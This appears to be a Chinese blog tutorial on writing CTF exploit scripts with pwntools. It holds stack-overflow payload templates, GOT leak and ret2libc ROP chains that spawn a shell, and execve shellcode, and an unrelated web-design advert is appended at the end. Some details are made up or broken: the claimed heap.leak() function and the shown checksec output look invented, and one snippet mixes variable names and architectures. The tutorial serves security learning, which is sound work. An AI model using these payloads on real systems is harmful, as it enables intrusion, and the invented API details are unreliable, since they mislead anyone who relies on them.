Pwntools实战:从零构建CTF漏洞利用脚本
2026/5/16 16:32:20 网站建设 项目流程

1. 初识Pwntools:CTF选手的秘密武器

第一次参加CTF比赛时,我看着其他选手噼里啪啦敲着键盘,屏幕上闪过各种看不懂的十六进制代码,心里既羡慕又困惑。直到队友扔给我一行命令pip install pwntools,才真正打开了二进制安全的大门。Pwntools就像瑞士军刀,把原本需要组合使用gdb、objdump、nc等工具的复杂操作,变成了几行Python代码就能搞定的优雅解决方案。

这个神奇的Python库最初由Gallopsled团队开发,现在已经成为CTF竞赛的标配工具。它最吸引我的地方在于统一的操作接口——无论是本地调试还是远程攻击,无论是32位程序还是64位二进制,都能用几乎相同的代码流程处理。比如用process()启动本地程序,换成remote()就能攻击远程靶机,这种设计让漏洞利用脚本的移植变得极其简单。

记得有次比赛遇到一道堆题,传统方法需要手动计算偏移、构造堆布局。但用Pwntools的heap模块,直接heap.leak()就拿到了关键地址,节省了至少半小时。赛后复盘时发现,前10名的队伍有8个都在用这个库,这足以说明它在实战中的价值。

2. 环境搭建:五分钟快速上手

2.1 安装避坑指南

新手最容易卡在第一步——安装。虽然官方文档说pip install pwntools就行,但实际会遇到各种依赖问题。我在三台不同机器上实测后发现,Ubuntu 20.04是最兼容的环境。如果遇到Command '['/usr/bin/python3', '-m', 'pip', 'install']' returned non-zero exit status 1这类报错,试试这个组合拳:

sudo apt update sudo apt install python3 python3-pip python3-dev libffi-dev libssl-dev pip install --upgrade pip pip install pwntools

安装完成后,建议运行pwn checksec测试基础功能。如果看到类似下面的输出,说明环境OK了:

[*] Checking for tools: ['binutils', 'gdb', 'git', 'ssh'] [+] All tools installed!

2.2 开发环境配置

推荐用VS Code配合Python插件,三个必装的扩展:

  • Python IntelliSense:自动补全pwn函数
  • Hex Editor:直接查看二进制文件
  • Remote - SSH:方便连接比赛服务器

我的.vimrc配置里永远有这几行,给pwntools脚本加语法高亮:

autocmd BufRead,BufNewFile *.py setlocal keywordprg=pydoc\ pwntools autocmd FileType python setlocal tabstop=4 shiftwidth=4 expandtab

3. 核心功能实战解析

3.1 二进制文件分析三板斧

拿到CTF题目第一步永远是分析二进制文件。Pwntools的ELF模块可以快速提取关键信息:

from pwn import * exe = ELF('./vuln') print(f"Arch: {exe.arch}") # 输出架构如'i386' print(f"Canary: {exe.canary}") # 检查栈保护 print(f"NX: {exe.nx}") # 查看NX位

更实用的技巧是结合checksec

def analyze_binary(path): elf = ELF(path) context.clear() context.binary = elf print(f"[*] {path} analysis:") print(f" Arch: {elf.arch}") print(f" RELRO: {elf.relro}") print(f" Stack: {elf.canary}") print(f" NX: {elf.nx}") print(f" PIE: {elf.pie}")

3.2 交互式通信的艺术

和二进制程序交互是CTF中最频繁的操作。很多人不知道的是,send()sendline()在实战中有微妙区别:

io = process('./vuln') io.send(b'A'*100) # 纯发送数据 io.sendline(b'') # 会自动追加\n io.sendafter(b'> ', b'payload') # 等待特定提示后发送

处理输出时,这几个方法最常用:

line = io.recvline() # 接收单行 all_data = io.recvall() # 接收所有输出 until = io.recvuntil(b'quit') # 收到指定内容为止

去年一道CTF题卡了我两小时,就是因为没处理好输出缓冲。后来发现加上context.log_level = 'debug',所有通信内容都清晰可见,问题迎刃而解。

4. 漏洞利用开发实战

4.1 栈溢出利用模板

遇到最简单的栈溢出题时,这个模板能解决80%的情况:

from pwn import * context(os='linux', arch='i386') binary = ELF('./vuln') offset = 40 # 通过cyclic_pattern找到的偏移 ret_addr = binary.symbols['win'] # 目标函数地址 payload = flat( b'A' * offset, ret_addr ) io = process('./vuln') io.sendline(payload) io.interactive()

如果遇到ASLR,需要先泄漏地址。这是我常用的地址泄漏套路:

payload = flat([ b'A'*offset, elf.plt['puts'], elf.symbols['main'], elf.got['puts'] ]) io.sendlineafter(b'> ', payload) leak = u64(io.recvline()[:6].ljust(8, b'\x00'))

4.2 ROP链构建技巧

Pwntools的ROP模块让构造ROP链变得可视化。以64位程序为例:

elf = ELF('./vuln') rop = ROP(elf) # 自动搜索可用gadget rop.raw(rop.ret) # 栈对齐 rop.call('puts', [elf.got['puts']]) rop.call('main') print(rop.dump()) # 打印ROP链结构

遇到复杂情况时,可以手动添加gadget:

rop.rsi = 0xdeadbeef # 设置寄存器值 rop(rdi=0x1234, rsi=0x5678) # 同时设置多个寄存器

去年HackTheBox一道题需要连续调用三个函数,用传统方法要计算半天。但用rop.call()链式调用,五分钟就搞定了payload。

5. 高级技巧与调试

5.1 GDB集成实战

最爽的功能莫过于直接通过Python控制gdb。在脚本里加上:

io = gdb.debug('./vuln', ''' b *main+10 continue ''')

这样启动时会自动附加gdb并下断点。更智能的做法是条件断点:

gdb.attach(io, ''' catch syscall execve commands x/10i $rip end ''')

遇到随机崩溃时,我常用这个技巧自动记录崩溃现场:

context.terminal = ['tmux', 'splitw', '-h'] io = process('./vuln') pause() # 在此处暂停等待手动附加gdb

5.2 Shellcode生成黑科技

Pwntools的shellcraft模块支持多种架构的shellcode生成:

# 经典execve('/bin/sh') sh = asm(shellcraft.sh()) # 绕过字符过滤的变种 sc = shellcraft.amd64.linux.cat('/flag') sc += shellcraft.amd64.linux.exit(0)

遇到特殊限制时,可以自定义汇编:

context.arch = 'arm' sc = ''' mov r0, pc add r0, #20 mov r1, #0 mov r2, #0 mov r7, #11 svc #0 .ascii "/bin/sh\0" ''' shellcode = asm(sc)

记得有次比赛要求shellcode不能有\x00字节,用shellcraft.encoder()的xor编码器轻松绕过。

6. 实战案例:从零攻破CTF题目

来看一道真实CTF栈题的完整利用过程。假设有个程序vuln,检查保护发现只有NX启用:

$ checksec vuln [*] '/tmp/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE

首先用cyclic确定溢出点:

io = process('./vuln') io.sendline(cyclic(100)) io.wait() core = io.corefile offset = cyclic_find(core.read(core.rsp, 4)) print(f"Offset: {offset}") # 假设输出56

接着泄漏libc地址:

elf = ELF('./vuln') rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.symbols['main']) io.sendlineafter(b'> ', flat({offset: rop.chain()})) leak = u64(io.recvline()[:6].ljust(8, b'\x00')) libc.address = leak - libc.symbols['puts']

最后getshell:

rop = ROP([elf, libc]) rop.system(next(libc.search(b'/bin/sh'))) io.sendlineafter(b'> ', flat({offset: rop.chain()})) io.interactive() # 拿到shell!

这种分阶段利用的思路,在现实CTF中非常常见。Pwntools让每个阶段都能用统一的方式处理,极大提升了效率。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询